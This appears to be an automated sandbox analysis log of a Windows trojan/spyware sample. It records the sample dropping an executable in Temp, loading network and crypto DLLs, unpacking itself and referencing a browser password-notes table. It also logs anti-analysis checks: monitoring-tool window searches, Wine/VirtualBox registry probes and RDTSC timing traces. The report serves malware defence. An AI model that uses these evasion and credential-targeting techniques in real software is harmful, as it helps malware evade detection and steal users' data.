Source: file.exe, 00000000.00000003.2278899764.00000000058BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2281238798.00000000058B6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2288171801.00000000059B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2279871309.00000000058B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2297801699.00000000059D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2281560506.00000000058C1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2301074459.00000000059F6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2278339963.00000000056B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: ZLIB complexity 0.9981570826802508

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/2@6/2

Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\MMS43LFVAQOG1OXT3FFOALII.exe.log

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.2143978453.0000000005415000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2143762055.0000000005434000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2160766858.000000000544A000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 39%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe "C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe "C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Section loaded: sspicli.dll	Jump to behavior

Source: file.exe

Static file information: File size 2990080 > 1048576

Source: file.exe

Static PE information: Raw size of uhongkzv is bigger than: 0x100000 < 0x2aea00

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.b50000.0.unpack :EW;.rsrc :W;.idata :W;uhongkzv:EW;bjauixau:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;uhongkzv:EW;bjauixau:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Unpacked PE file: 3.2.MMS43LFVAQOG1OXT3FFOALII.exe.8e0000.0.unpack :EW;.rsrc:W;.idata :W;fpzmwmlj:EW;oxclcnlz:EW;.taggant:EW; vs :ER;.rsrc:W;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: MMS43LFVAQOG1OXT3FFOALII.exe.0.dr	Static PE information: real checksum: 0x2a9659 should be: 0x2abae2
Source: file.exe	Static PE information: real checksum: 0x2da6f9 should be: 0x2e8f36

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: uhongkzv
Source: file.exe	Static PE information: section name: bjauixau
Source: file.exe	Static PE information: section name: .taggant
Source: MMS43LFVAQOG1OXT3FFOALII.exe.0.dr	Static PE information: section name:
Source: MMS43LFVAQOG1OXT3FFOALII.exe.0.dr	Static PE information: section name: .idata
Source: MMS43LFVAQOG1OXT3FFOALII.exe.0.dr	Static PE information: section name: fpzmwmlj
Source: MMS43LFVAQOG1OXT3FFOALII.exe.0.dr	Static PE information: section name: oxclcnlz
Source: MMS43LFVAQOG1OXT3FFOALII.exe.0.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0083ECA3 push ss; retf	0_3_0083EE34
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0083ECA3 push ss; retf	0_3_0083EE34
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0083E2E6 push ss; retf	0_3_0083E2E7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0083E2E6 push ss; retf	0_3_0083E2E7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00848CF3 push ds; iretd	0_3_00848D3A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00848CF3 push ds; iretd	0_3_00848D3A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00848CF3 push ds; iretd	0_3_00848D3A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00848CF3 push ds; iretd	0_3_00848D3A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00848D3B push ds; retf 0068h	0_3_00848D52
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00848D3B push ds; retf 0068h	0_3_00848D52
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00848D3B push ds; retf 0068h	0_3_00848D52
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00848D3B push ds; retf 0068h	0_3_00848D52
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0083E963 push edx; iretd	0_3_0083E964
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0083E963 push edx; iretd	0_3_0083E964
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0083B4DC push eax; ret	0_3_0083B4DD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0083B4DC push eax; ret	0_3_0083B4DD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0083B4DC push eax; ret	0_3_0083B4DD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0083ECA3 push ss; retf	0_3_0083EE34
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0083ECA3 push ss; retf	0_3_0083EE34
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0083E2E6 push ss; retf	0_3_0083E2E7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0083E2E6 push ss; retf	0_3_0083E2E7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00848CF3 push ds; iretd	0_3_00848D3A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00848CF3 push ds; iretd	0_3_00848D3A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00848CF3 push ds; iretd	0_3_00848D3A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00848CF3 push ds; iretd	0_3_00848D3A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00848D3B push ds; retf 0068h	0_3_00848D52
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00848D3B push ds; retf 0068h	0_3_00848D52
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00848D3B push ds; retf 0068h	0_3_00848D52
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00848D3B push ds; retf 0068h	0_3_00848D52
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0083E963 push edx; iretd	0_3_0083E964
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0083E963 push edx; iretd	0_3_0083E964

Source: file.exe	Static PE information: section name: entropy: 7.983457155756711
Source: MMS43LFVAQOG1OXT3FFOALII.exe.0.dr	Static PE information: section name: entropy: 7.798689066890031

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe

Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAF252 second address: BAF257 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAEB6F second address: BAEB73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2C81B second address: D2C82B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2C82B second address: D2C831 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2EC09 second address: D2EC0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2EC0D second address: D2EC1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2ED58 second address: D2ED69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FE3588107C6h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push ecx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2ED69 second address: D2EDB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ecx 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d jns 00007FE3589D55BCh 0x00000013 pop eax 0x00000014 mov eax, dword ptr [eax] 0x00000016 jnp 00007FE3589D55BEh 0x0000001c push edx 0x0000001d ja 00007FE3589D55B6h 0x00000023 pop edx 0x00000024 mov dword ptr [esp+04h], eax 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FE3589D55C8h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2EF67 second address: D2EF6C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2EF6C second address: D2F004 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 mov cx, dx 0x0000000b push 00000000h 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007FE3589D55B8h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 00000017h 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 mov dword ptr [ebp+122D1C37h], edx 0x0000002d call 00007FE3589D55B9h 0x00000032 jmp 00007FE3589D55C2h 0x00000037 push eax 0x00000038 push esi 0x00000039 jmp 00007FE3589D55BBh 0x0000003e pop esi 0x0000003f mov eax, dword ptr [esp+04h] 0x00000043 ja 00007FE3589D55D2h 0x00000049 mov eax, dword ptr [eax] 0x0000004b push eax 0x0000004c push eax 0x0000004d push edx 0x0000004e jmp 00007FE3589D55C2h 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2F004 second address: D2F019 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e ja 00007FE3588107C6h 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2F019 second address: D2F0B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3589D55BCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a or edx, dword ptr [ebp+122D2D85h] 0x00000010 mov edi, 7AD2F98Ah 0x00000015 push 00000003h 0x00000017 push 00000000h 0x00000019 push ecx 0x0000001a call 00007FE3589D55B8h 0x0000001f pop ecx 0x00000020 mov dword ptr [esp+04h], ecx 0x00000024 add dword ptr [esp+04h], 0000001Dh 0x0000002c inc ecx 0x0000002d push ecx 0x0000002e ret 0x0000002f pop ecx 0x00000030 ret 0x00000031 mov edx, dword ptr [ebp+122D2BA1h] 0x00000037 clc 0x00000038 push 00000000h 0x0000003a mov dword ptr [ebp+122D28ADh], ebx 0x00000040 push 00000003h 0x00000042 push 00000000h 0x00000044 push ebx 0x00000045 call 00007FE3589D55B8h 0x0000004a pop ebx 0x0000004b mov dword ptr [esp+04h], ebx 0x0000004f add dword ptr [esp+04h], 0000001Ah 0x00000057 inc ebx 0x00000058 push ebx 0x00000059 ret 0x0000005a pop ebx 0x0000005b ret 0x0000005c xor dl, 00000006h 0x0000005f call 00007FE3589D55B9h 0x00000064 jmp 00007FE3589D55C4h 0x00000069 push eax 0x0000006a push eax 0x0000006b push edx 0x0000006c pushad 0x0000006d push eax 0x0000006e push edx 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2F0B5 second address: D2F0BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2F0BC second address: D2F0C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2F0C2 second address: D2F0C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2F0C6 second address: D2F108 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jmp 00007FE3589D55BBh 0x00000011 mov eax, dword ptr [eax] 0x00000013 pushad 0x00000014 jmp 00007FE3589D55C4h 0x00000019 jmp 00007FE3589D55BAh 0x0000001e popad 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2F108 second address: D2F11A instructions: 0x00000000 rdtsc 0x00000002 jp 00007FE3588107C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnp 00007FE3588107CCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2F11A second address: D2F132 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 mov dx, 4ED5h 0x0000000a lea ebx, dword ptr [ebp+12453B50h] 0x00000010 mov dh, D6h 0x00000012 xchg eax, ebx 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2F132 second address: D2F136 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2F136 second address: D2F13A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2F13A second address: D2F15A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FE3588107D6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D50727 second address: D5072B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5072B second address: D50731 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D50731 second address: D50737 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
